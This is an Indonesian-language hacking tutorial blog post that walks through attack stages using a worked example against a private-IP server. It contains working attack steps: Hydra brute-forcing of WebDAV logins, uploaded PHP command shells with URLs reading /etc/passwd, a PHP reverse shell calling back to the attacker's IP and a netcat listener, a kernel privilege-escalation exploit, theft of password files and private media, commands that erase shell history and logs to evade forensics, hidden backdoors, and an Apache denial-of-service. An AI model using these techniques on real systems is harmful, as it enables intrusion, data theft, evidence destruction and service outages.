Dalam melakukan hacking tentu ada
langkah-langkah yang kita lakukan. Sebenarnya langkah-langkah itu adalah
anatomi kita dalam melakukan hacking dan masing-masing memiliki tujuan
tersendiri sehingga dengan tercapainya mini-goal tersebut, kita bisa
maju ke langkah selanjutnya. Tetapi supaya tidak bosan baca teori
anatomi hackingnya, di post ini juga akan diberikan contoh real hacking
nya tentu saja yang sudah dibagi-bagi per stage anatominya.
Hacking Stage 0: Define the Target
Tentukan target yang akan kita serang.
Target bisa didapat dari permintaan sang target sendiri untuk audit
keamanannya, atau karena hanya iseng, ataupun karena dendam sama target
hahah. Untuk contoh kali ini, target saya adalah sebuah server internal
ber-IP private (192.168.66.87) yang ingin di audit keamanannya (jadi
bukan karena dendam hehe).
Hacking Stage 1: Footprinting
Tahap selanjutnya adalah tahap dimana
kita berusaha mencari informasi mengenai target sebanyak mungkin. Untuk
contoh kali ini saya akan mencari informasi tentang si 192.168.66.87
sebanyak mungkin.. Berikut informasi yang bisa saya dapatkan:
Bisa coba juga dengan opsi “nmap -sV”
untuk mengetahui versi dari masing-masing servis yang running di target
tersebut. Setelah mengetahui versinya, bisa dimanfaatkan untuk dicari di
forum-forum atau milis tentang bug/vulnerability dari versi
service-nya. Misal Apache target adalah versi 2.0.52, tinggal cari
security hole Apache/2.0.52. Yak, teorinya semudah itu. Banyak jalan
menuju Roma, semoga beruntung ya hahah.
Lanjuutt… saya mendapat informasi bahwa
webservernya adalah Apache versi 2.0.52. Dengan kesalahan konfigurasi
dari ServerTokens webserver yang di-configure sangat spoiler sekali
(Full) didapatkan informasi distro target adalah CentOS Linux lengkap
dengan modul-modul yang aktif di webserver tersebut.
Jangan terlalu terpaku pada informasi
yang saya dapatkan ya. Masih banyak informasi yang bisa didapatkan pada
stage 1 ini. Diantaranya nih:
- Spesifikasi hardware target
- Siapa sysadmin nya
- Dimana lokasinya
- Topologi antara kita (penyerang) dan target, melewati berapa hop, ada di subnet mana, belakang firewall atau engga, dst
- dan lain sebagainya yang bisa dijadikan informasi seputar target… karena poin 1-4 di atas ini kadang bisa sangat berguna loh untuk kelanjutan stage hacking ke stage selanjutnya.
Hacking Stage 2: Scanning
Tahap berikutnya adalah melakukan
scanning pada target untuk memetakan kelemahan dan kekuatan target. Dan
tentu saja yang menyenangkan adalah bagian kelemahan target lah.. hehe.
Sebenarnya nmap di atas juga bisa dikategorikan melakukan scanning, tapi
scanning yang saya lakukan di atas masih tergolong ringan jadi lebih
condong tergolong tahap perkenalan (footprinting). Seharusnya stage
scanning ini sudah lebih intensif dari sekedar mencari informasi atau
dengan kata lain sudah ada beberapa tindakan destruktif ringan yang
terjadi pada target. Saya menggunakan software OpenVAS untuk
men-scanning target sebagai berikut:
Dari hasil scan didapatkan informasi
bagian mana saja yang vulnerable pada target. Dengan adanya tahap ini,
diharapkan scope hacking semakin menyempit alias kita semakin fokus
bagian target mana aja yang sebaiknya kita eksploitasi.
Hacking Stage 3: Enumeration
Tahap enumeration adalah tahap melakukan
serangan. Pada tahap inilah ada babak gugur (hacker menyerah),
exploitasi gagal, atau exploitasi berhasil hahah. Ini adalah tahap
puter-puter otak bagaimana caranya kita bisa masuk ke sistem. Kadang
bisa menghabiskan waktu berjam, hari, bulan, taun di tahap ini. Untuk
percobaan hacking kali ini, kita coba ambil contoh vulnerability pada
WebDAV (module mod_dav Apache) yang dilaporkan sama OpenVAS. Kita fokus
dulu untuk hack WebDAV nya…
Biasanya WebDAV ada di direktori
/webdav. Default config dan beberapa tutorial webdav juga biasanya
mensugesti untuk install webdav di direktori /webdav. Apalagi kalau pada
tahap 1 tadi kita dapat info kalau sysadmin target ternyata males ganti
nama direktori dan sukanya nelen bulet-bulet tutorial orang di internet
(tuh kan penting kenal sysadminnya juga heheh). Mari kita coba
enumerasi webdav target..
Nah.. bener kan ada folder /webdav/…
tapi ternyata untuk masuk folder /webdav/ dibutuhkan authentikasi dulu
(terlihat dari respon server HTTP 401 Authorization Required), cuma
authorized user yang boleh read dan write isi folder webdav. Sekarang
coba masukin user password ngasal… Saya request HTTP HEAD untuk
direktori /webdav/ dengan tipe Authorization “Basic” dan username
password yang ngasal…
Terlihat masih sama responnya, HTTP 401
hehe. Username dan password diatas itu sudah dikonversi ke format base64
menjadi “YWRtaW5pc3RyYXRvcjphc2RmMTIz”. Kenapa base64? Hmm untuk
mekanisme autentikasi HTTP menurut RFC-2617
adalah “username:password” di-encode menjadi format base64. Jadi untuk
contoh ngasal ini “YWRtaW5pc3RyYXRvcjphc2RmMTIz” =
“administrator:asdf123″. Untuk meng-encode dan decode banyak kok toolnya
di internet. Salah satunya yang saya gunakan adalah ini.
Ayo jangan putus asa, kita coba pakai
bantuan tools Hydra untuk membruteforce user dan password webdav ini.
Akhirnya tidak lama ditemukanlah username dan passwordnya. Binggohh!!
login: administrator dengan password: iloveyou hahahay..
Saya memanfaatkan user.lst dan password.lst John The Ripper buat si
Hydra melakukan bruteforce. Makanya ada di direktori “john-1.7.7″ kalo
diteliti konsol di atas ini hehe.. Terlihat juga di atas ternyata
dilakukan 9507 percobaan login ke webdav.
Hacking Stage 4: Gaining Access
Tahap ini adalah tahap masuk ke dalam
sistem. Ada dua kemungkinan akibat stage sebelumnya. Jika beribu
enumerasi gagal sang hacker bisa langsung skip ke stage terakhir: Denial
of Service dengan memenuhi service target dengan segelumit (halah)
sebanyak-banyak request, sehingga server menjadi sibuk melayani request
tersebut. Kalau terlalu sibuk bisa bikin service crash sampai yang
paling parah si target bisa restart atau down. Tetapi kalau ternyata di
stage sebelumnya salah satu enumerasi berhasil, silahkan bisa baca
paragraf selanjutnya di bawah ini hehe.
Gaining access bisa dengan mencari
credentials login atau misalnya menginjeksi shellcode pada
program/service yang vulnerable sehingga target bisa mengeksekusi binary
yang kita inginkan pada systemnya (biasanya sih, prefer kalo target
mengeksekusi /bin/sh atau /bin/bash untuk kita sehingga kita bisa dapat
shell).
Tetapi untuk contoh kali ini, berhubung
di stage sebelumnya kita sudah mendapatkan credentials login (user dan
password), mari kita masuk ke webdav menggunakan webdav client bernama
Cadaver. Ternyata kita bisa ngapain aja di folder webdav ini. Horray!
Hehe.
Hacking Stage 5: Escalating Privilege
Tahap ini adalah tahap untuk
meningkatkan privilege jika ternyata kita hanya bisa menguasai target
dengan privilege terbatas. Skip step ini jika kita sudah dapat root.
Hahah.. beruntung sekali langsung dapet root hehe. Tapi untuk contoh
kasus kita, di tahap sebelumnya kita sudah masuk ke folder webdav kan..
Nah, sekarang puter otak lagi bagaimana caranya agar saya bisa eskalasi
privilege a.k.a menjadi root. Hmm.. Saya coba menggunakan file PHP yang
bisa membantu saya mengeksekusi command-command di system target.
Pertama-tama sih coba upload dulu file php pake perintah PUT tentu saja…
dan ternyata bisa.. Heheh..
Setelah php_backdoor.php dan php_cmd.php
di upload, buka browser kesayangan dan ketik URL
http://192.168.66.87/webdav/php_cmd.php?cmd=<shell command biasa>.
Berikut beberapa yang saya coba dan hasil outputnya:
URL | Output |
http://192.168.66.87/webdav/php_cmd.php?cmd=cat%20/etc/passwd |
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync ...dst... |
http://192.168.66.87/webdav/php_cmd.php?cmd=uname%20-r | 2.6.9-55.ELsmp |
Hmm saya coba upload file pamungkas bernama “php-reverse-shell.php” yang saya dapat dari http://pentestmonkey.net/tools/web-shells/php-reverse-shell
untuk mendapatkan shell target memanfaatkan php. Modifikasi sedikit
agar tujuan menuju IP saya dan portnya yang sudah menunggu heheh.
Tinggal ketikkan ini di URL:
http://192.168.66.87/webdav/php-reverse-shell.php?ip=10.5.239.236&port=9999
Sementara netcat (nc) sudah stenbai listening di komputer saya dan spawn the target’s shell.. Horray!
Keterangan gambar di atas:- Sebelumnya saya sudah mengeksekusi netcat untuk stenbai listening di port 9999. Kemudian kita eksekusi URL http://192.168.66.87/webdav/php-reverse-shell.php?ip=10.5.239.236&port=9999 yang akan memberikan shell di netcat saya.
- Saya mengetikkan perintah “id” untuk mengetahui jadi siapa saya di shell target ini
- Saya mengetikkan “pwd” untuk mengetahui lokasi aktif di shell (ternyata di folder /)
- Browsing-browsing mencari dimana lokasi folder “webdav”. Awalnya sih karena intip-intip isi file httpd.conf/webdav.conf
- Mengeksekusi exploit local escalation privilege karena ternyata kernelnya sudah jadul (2.6.9). “linux-sendpage3″ ini saya upload via Cadaver. Jadi sekarang tinggal eksekusi aja binary “run” nya
- Who am I? I’m w00t!
Hacking Stage 6: Pilfering
Tahap ini adalah tahap yang tidak
terlalu wajib dilakukan. Menurut kamus sih pilfering artinya pencurian
haha… Ya kita bisa mencuri apa saja yang ada pada target. Misalnya
dumping file username/password pada system (/etc/passwd dan
/etc/shadow), masuk ke database mysql dan jalan-jalan liat table
databasenya, atau curi-curi foto dan video. Sapa tau ada video skandal
sysadminnya hahah.
Hacking Stage 7: Covering Tracks
Tahap selanjutnya adalah tahap yang
biasanya malah lupa dilakukan orang yang berhasil break into target’s
system. Padahal tim ahli forensik bisa menangkap kita karena track
record ini. Bukti di pengadilan ya track record ini juga. Makanya kalau
habis masuk rumah orang tanpa izin jangan lupa di pel tuh bekas lumpur
di lantai dan sidik jari di gagang pintu hehe.
Ini contoh log terakhir yang ada di target.. IP kita keliatan toh.. Ooo hahahahah…
Silahkan berkreasi untuk membersihkan
log nya. Contoh di atas ini adalah log HTTP request.. Mungkin bisa di
edit untuk hapus line-line yang mencurigakan hehe. Ada lagi log session
SSH kita juga tentu saja.. jangan lupa. Untuk membuat session SSH tidak
tercatat, jangan lupa ketik command ‘unset HISTFILE’ dan ‘history -c’
setelah beraktifitas di shell target. Atau bisa dengan mengetikkan
command ‘HISTFILE=/dev/null’ sebelum beraktifitas di shell target
sedemikian sehingga variable HISTFILE akan selalu dicatat ke /dev/null
(=buang) oleh shell target.
*clue* Di sistem target (karena sistemnya *nix), ada 3 log file penting, yang mencatat..:
- WTMP – setiap log in/off, waktu log in/off, tty, host
- UTMP – siapa yang online saat ini
- Lastlog – dari mana sumber log in terakhir
Lokasi file ini biasanya di /etc/ atau /var/adm/ atau /var/log
dsb. Nah, silakan cari cara untuk cover track yang nanganin dan
ngebersihin 3 file ini hehe
Hacking Stage 8: Creating Backdoors
Ada banyak cara membuat backdoor. Sesuai
arti katanya, backdoor artinya pintu belakang atau jalan alternatif
untuk kita masuk ke dalam sistem itu untuk kebutuhan kedepan hahah.
Kalau bisa dibuat semudah mungkin untuk masuknya. Jangan serumit waktu
pertama kali masuk ke target. Contoh backdoor bisa saja menginstall
service yang listen pada port rahasia yang memprovide kita akses
langsung ke shell target, membuat user baru, dan lain sebagainya.
Untuk contoh kita tadi, backdoor kita tentu saja file php-reverse-shell.php di URL rahasia kita:
http://192.168.66.87/webdav/php-reverse-shell.php?ip=10.5.239.236&port=9999
Jadi kedepannya kalau kita mau bertamu
ke target lagi, tinggal siapin link di atas ini plus netcat di komputer
kita yang set listen di port 9999. Tips: kalau bisa nama file
backdoornya jangan php-reverse-shell.php… sangat mencurigakan..
hahahah.. sedikit kreatif untuk rename file dan sembunyiin di
folder-folder tertentu haha.
Hacking Stage 9: Denial of Service
Denial of Service (DoS) adalah ancaman
yang paling sering terjadi di dunia security. Siapa saja bisa melakukan
dan ini bisa terjadi kapan saja, tidak harus karena ulah hacker, bahkan
bisa terjadi karena ulah anak-anak alay yang gak ngerti komputer! Sesuai
artinya, denial of service ya berarti si target menolak menjalankan
service seperti biasanya. Katakanlah target kita adalah website
registrasi e-KTP. Denial of service berarti adalah si server target
e-KTP tidak bisa menjalankan service e-KTP untuk anda karena terlalu
sibuk/down. Bayangkan betapa kecewanya kita dan betapa ruginya instansi
e-KTP yang tidak bisa melayani (roda bisnis macet -halah).
Faktor-faktor yang menyebabkan denial of
service ada banyak. Ada yang karena diserang ribuan rikues bertubi-tubi
terus bikin si server sibuk, sampai yang emang karena si penyerang yang
berhasil break-in (seperti kita di stage sebelumnya) sengaja ngetik
command ‘/etc/init.d/httpd stop’. Ya kalau httpd stop sama aja dengan
menolak layanan web dari client ‘kan??
Ini contoh Denial of Service akibat ulah anak-anak alay yang bahkan gak ngerti hacking sekalipun: (dari Wikipedia)
This describes a situation where a website ends up denied, not due to a deliberate attack by a single individual or group of individuals, but simply due to a sudden enormous spike in popularity. This can happen when an extremely popular website posts a prominent link to a second, less well-prepared site, for example, as part of a news story. The result is that a significant proportion of the primary site’s regular users — potentially hundreds of thousands of people — click that link in the space of a few hours, having the same effect on the target website as a DDoS attack. A VIPDoS is the same, but specifically when the link was posted by a celebrity.An example of this occurred when Michael Jackson died in 2009. Websites such as Google and Twitter slowed down or even crashed.Many sites’ servers thought the requests were from a virus or spyware trying to cause a Denial of Service attack, warning users that their queries looked like “automated requests from a computer virus or spyware application”.
Untuk contoh melakukan serang DoS kali
ini, saya akan serang service Apache target (192.168.66.87) sampai mabok
karena request partial content yang bertubi-tubi..
Sambil mengeksekusi program tersebut
saya coba menjalankan file test.html yang cuma berisi kata ‘hello world’
dan…. butuh waktu > 3 menit.. bayangkan betapa sibuknya si server.
Ini masih bisa di rekayasa dengan membuat parallel reqs nya lebih besar
lagi dan loop lebih banyak lagi.. bisa dijamin mabok Apachenya. Hehehe.
Penutup
Demikianlah stage hacking dan contoh nyata nya di setiap stage. Hasil akhir setiap stage akan berpengaruh ke stage selanjutnya. Sekian yang bisa saya sampaikan, semoga bermanfaat.
Salam,
gboys_flush404
gboys_flush404
Tersedia dalam file PDF disini.
Bentuk: PDF
Terkompresi: GZIP
Nama File: HACKING_ANATOMY
Ukuran: 320 KB